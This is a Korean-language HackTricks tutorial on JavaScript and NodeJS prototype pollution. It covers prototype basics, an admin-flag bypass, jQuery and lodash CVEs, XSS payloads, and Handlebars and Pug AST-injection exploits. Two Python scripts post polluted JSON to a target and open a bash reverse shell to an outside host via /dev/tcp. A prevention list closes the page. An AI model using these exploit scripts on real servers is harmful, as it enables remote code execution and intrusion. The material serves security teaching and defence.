NodeJS - __proto__ & prototype Pollution

htARTE (HackTricks AWS Red Team Expert)에서 제로부터 영웅까지 AWS 해킹 배우기!

다른 방법으로 HackTricks를 지원하는 방법:

JavaScript의 객체

JavaScript의 객체는 본질적으로 속성이라고 하는 키-값 쌍의 컬렉션입니다. 객체는 Object.create를 사용하여 인수로 null을 전달하여 빈 객체를 생성할 수 있습니다. 이 방법을 사용하면 상속된 속성이 없는 객체를 생성할 수 있습니다.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

자바스크립트의 함수와 클래스

자바스크립트에서 클래스와 함수는 밀접한 관련이 있으며, 함수는 종종 클래스의 생성자로 작동합니다. 자바스크립트는 네이티브 클래스 지원이 부족하지만, 생성자는 클래스 동작을 흉내 낼 수 있습니다.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

자바스크립트의 프로토타입

자바스크립트는 런타임에서 프로토타입 속성을 수정, 추가 또는 삭제할 수 있습니다. 이 유연성은 클래스 기능을 동적으로 확장할 수 있게 합니다.

toStringvalueOf와 같은 함수는 그들의 동작을 변경하기 위해 수정될 수 있으며, 이는 자바스크립트의 프로토타입 시스템의 적응 가능성을 보여줍니다.

상속

프로토타입 기반 프로그래밍에서 속성/메서드는 클래스로부터 객체에게 상속됩니다. 이러한 클래스는 다른 클래스의 인스턴스에 속성/메서드를 추가하거나 빈 객체에 추가하여 생성됩니다.

주의할 점은 다른 객체들에게 프로토타입으로 작용하는 객체(예: myPersonObj)에 속성이 추가될 때, 상속받는 객체들이 이 새로운 속성에 접근할 수 있다는 것입니다. 그러나 이 속성은 명시적으로 호출되지 않는 이상 자동으로 표시되지 않습니다.

__proto__ 오염

자바스크립트에서 프로토타입 오염 탐색

자바스크립트 객체는 키-값 쌍으로 정의되며, 자바스크립트 객체 프로토타입에서 상속됩니다. 이는 Object 프로토타입을 변경하면 환경 내의 모든 객체에 영향을 줄 수 있다는 것을 의미합니다.

다른 예제를 사용하여 설명해 봅시다:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

객체 프로토타입에 접근하는 것이 가능합니다:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

객체 프로토타입에 속성을 추가함으로써 모든 JavaScript 객체가 이러한 새로운 속성을 상속받게 됩니다:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

프로토타입 오염

__proto__ 사용이 제한된 시나리오에서 함수의 프로토타입을 수정하는 것이 대안입니다:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

이는 Vehicle 생성자에서 생성된 객체에만 영향을 줍니다. beep, hasWheels, honk, 그리고 isElectric 속성을 제공합니다.

자바스크립트 객체에 전역적으로 영향을 주는 두 가지 방법은 다음과 같습니다:

  1. Object.prototype을 직접 오염시키기:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. 자주 사용되는 구조체의 생성자 프로토타입을 오염시키기:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

이러한 작업 이후에는 모든 JavaScript 객체가 goodbyegreet 메서드를 실행할 수 있습니다.

다른 객체 오염

클래스에서 Object.prototype으로

특정 객체를 오염시킬 수 있는 시나리오에서 Object.prototype에 도달해야 하는 경우 다음과 같은 코드로 검색할 수 있습니다:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

배열 요소 오염

JS에서 객체의 속성을 오염시킬 수 있는 것처럼, 배열을 오염시킬 수 있다면 배열의 값도 오염시킬 수 있다는 것을 유의하십시오. 이 값들은 인덱스에 의해 접근됩니다 (값을 덮어쓸 수 없으므로, 쓰이지만 쓰이지 않는 인덱스를 오염시켜야 합니다).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html 요소 오염

JS를 통해 HTML 요소를 생성할 때 innerHTML 속성을 덮어쓰기하여 임의의 HTML 코드를 작성할 수 있습니다. 이 아이디어와 예시는 이 글에서 차용되었습니다.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

예제

기본 예제

프로토타입 오염은 응용 프로그램에서 발생하는 결함으로 인해 Object.prototype의 속성을 덮어쓸 수 있는 상황에서 발생합니다. 이는 대부분의 객체가 Object.prototype에서 속성을 파생하기 때문에 발생합니다.

가장 쉬운 예는 확인될 객체의 정의되지 않은 속성에 값을 추가하는 것입니다.

if (user.admin) {

만약 속성 admin이 정의되지 않은 경우 PP를 남용하여 다음과 같이 True로 설정할 수 있습니다:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

이 메커니즘은 특정 입력을 통제하는 공격자가 응용 프로그램의 모든 객체의 프로토 타입을 수정할 수 있도록 속성을 조작하는 것을 포함합니다. 이 조작은 일반적으로 __proto__ 속성을 설정하여 이루어지며, JavaScript에서는 이것이 객체의 프로토 타입을 직접 수정하는 것과 동의어입니다.

이 공격이 성공적으로 실행될 수 있는 조건은 특정 연구에서 설명된 대로 다음과 같습니다:

  • 재귀적 병합 수행.

  • 경로를 기반으로 속성 정의.

  • 객체 복제.

함수 재정의

customer.__proto__.toString = ()=>{alert("polluted")}

Proto Pollution to RCE

pagePrototype Pollution to RCE

기타 페이로드:

클라이언트 측 프로토타입 오염으로 XSS

pageClient Side Prototype Pollution

CVE-2019–11358: jQuery $ .extend를 통한 프로토타입 오염 공격

자세한 내용은 이 기사를 확인하십시오 jQuery에서 $ .extend 함수는 깊은 복사 기능이 부적절하게 사용되면 프로토타입 오염으로 이어질 수 있습니다. 이 함수는 일반적으로 객체 복제나 기본 객체에서 속성을 병합하는 데 사용됩니다. 그러나 잘못 구성된 경우, 새 객체를 위해 의도된 속성이 대신 프로토타입에 할당될 수 있습니다. 예를 들어:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

이 취약점은 CVE-2019–11358로 식별되었으며, 깊은 복사가 원치 않게 프로토타입을 수정할 수 있어 isAdmin과 같은 속성이 적절한 존재 확인 없이 확인되면 무단 관리자 액세스와 같은 잠재적 보안 위험으로 이어질 수 있음을 보여줍니다.

CVE-2018–3721, CVE-2019–10744: 로다시를 통한 프로토타입 오염 공격

자세한 내용은 이 기사를 확인하세요

Lodash는 유사한 프로토타입 오염 취약점(CVE-2018–3721, CVE-2019–10744)을 겪었습니다. 이러한 문제는 버전 4.17.11에서 해결되었습니다.

CVE가 포함된 또 다른 자습서

프로토타입 오염 감지 도구

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: 웹 애플리케이션에서 서버 측 프로토타입 오염 취약점을 감지하고 분석하기 위해 설계된 Burp Suite 확장 프로그램. 이 도구는 잠재적인 프로토타입 오염 문제를 식별하기 위해 요청을 스캔하는 프로세스를 자동화합니다. 특히 Node.js 라이브러리에 중점을 둔 알려진 가젯을 악용합니다.

  • server-side-prototype-pollution: 이 확장 프로그램은 서버 측 프로토타입 오염 취약점을 식별합니다. 이는 서버 측 프로토타입 오염에서 설명된 기술을 사용합니다.

NodeJS에서 AST 프로토타입 오염

NodeJS는 템플릿 엔진 및 TypeScript와 같은 기능을 위해 JavaScript에서 추상 구문 트리(AST)를 광범위하게 활용합니다. 이 섹션에서는 Handlebars와 Pug와 같은 템플릿 엔진에서 프로토타입 오염과 관련된 취약점을 탐구합니다.

Handlebars 취약점 분석

Handlebars 템플릿 엔진은 프로토타입 오염 공격에 취약합니다. 이 취약점은 javascript-compiler.js 파일 내의 특정 함수에서 발생합니다. 예를 들어, appendContent 함수는 pendingContent가 존재하는 경우 이를 연결하고, pushSource 함수는 소스를 추가한 후 pendingContentundefined로 재설정합니다.

악용 과정

악용은 Handlebars에 의해 생성된 AST(추상 구문 트리)를 활용하여 다음 단계를 따릅니다:

  1. 파서 조작: 먼저, 파서는 NumberLiteral 노드를 통해 값이 숫자임을 강제합니다. 프로토타입 오염을 통해 이를 우회하여 숫자가 아닌 문자열을 삽입할 수 있습니다.

  2. 컴파일러 처리: 컴파일러는 AST 객체 또는 문자열 템플릿을 처리할 수 있습니다. input.typeProgram인 경우 입력이 사전 구문 분석된 것으로 처리되어 악용될 수 있습니다.

  3. 코드 삽입: Object.prototype을 조작하여 템플릿 함수에 임의의 코드를 삽입할 수 있으며, 이는 원격 코드 실행으로 이어질 수 있습니다.

Handlebars 취약점 악용을 보여주는 예시:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

이 코드는 공격자가 Handlebars 템플릿에 임의의 코드를 삽입할 수 있는 방법을 보여줍니다.

외부 참조: 'flat' 라이브러리와 관련된 프로토타입 오염 문제가 발견되었습니다. 자세한 내용은 다음을 참조하십시오: GitHub의 이슈.

외부 참조: 'flat' 라이브러리에서 발견된 프로토타입 오염과 관련된 이슈: 이슈

Python에서 프로토타입 오염 취약점의 예시:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug 취약점

Pug, 또 다른 템플릿 엔진,는 프로토타입 오염과 유사한 위험에 직면합니다. 자세한 정보는 Pug에서의 AST Injection에 대한 토론에서 확인할 수 있습니다.

Pug에서의 프로토타입 오염 예시:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

예방 조치

프로토타입 오염의 위험을 줄이기 위해 아래에 나열된 전략들을 사용할 수 있습니다:

  1. 객체 불변성: Object.freeze를 적용하여 Object.prototype을 불변하게 만들 수 있습니다.

  2. 입력 유효성 검사: JSON 입력은 응용 프로그램의 스키마에 엄격히 대조되어야 합니다.

  3. 안전한 병합 함수: 재귀적 병합 함수의 안전하지 않은 사용은 피해야 합니다.

  4. 프로토타입 없는 객체: Object.create(null)을 사용하여 프로토타입 속성이 없는 객체를 생성할 수 있습니다.

  5. Map 사용: Object 대신에 키-값 쌍을 저장하기 위해 Map을 사용해야 합니다.

  6. 라이브러리 업데이트: 정기적으로 라이브러리를 업데이트하여 보안 패치를 통합할 수 있습니다.

  7. 린터 및 정적 분석 도구: ESLint와 같은 적절한 플러그인을 사용하여 프로토타입 오염 취약점을 감지하고 방지하는 데 도움이 되는 도구를 사용해야 합니다.

  8. 코드 리뷰: 프로토타입 오염과 관련된 잠재적 위험을 식별하고 해결하기 위해 철저한 코드 리뷰를 시행해야 합니다.

  9. 보안 교육: 개발자들에게 프로토타입 오염의 위험과 안전한 코드 작성을 위한 모범 사례에 대해 교육해야 합니다.

  10. 신중한 라이브러리 사용: 제3자 라이브러리 사용 시 신중해야 합니다. 그들의 보안 포지션을 평가하고 특히 객체 조작과 관련된 코드를 검토해야 합니다.

  11. 런타임 보호: 보안 중심 npm 패키지를 사용하여 프로토타입 오염 공격을 감지하고 방지할 수 있는 런타임 보호 메커니즘을 도입해야 합니다.

참고 자료

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Last updated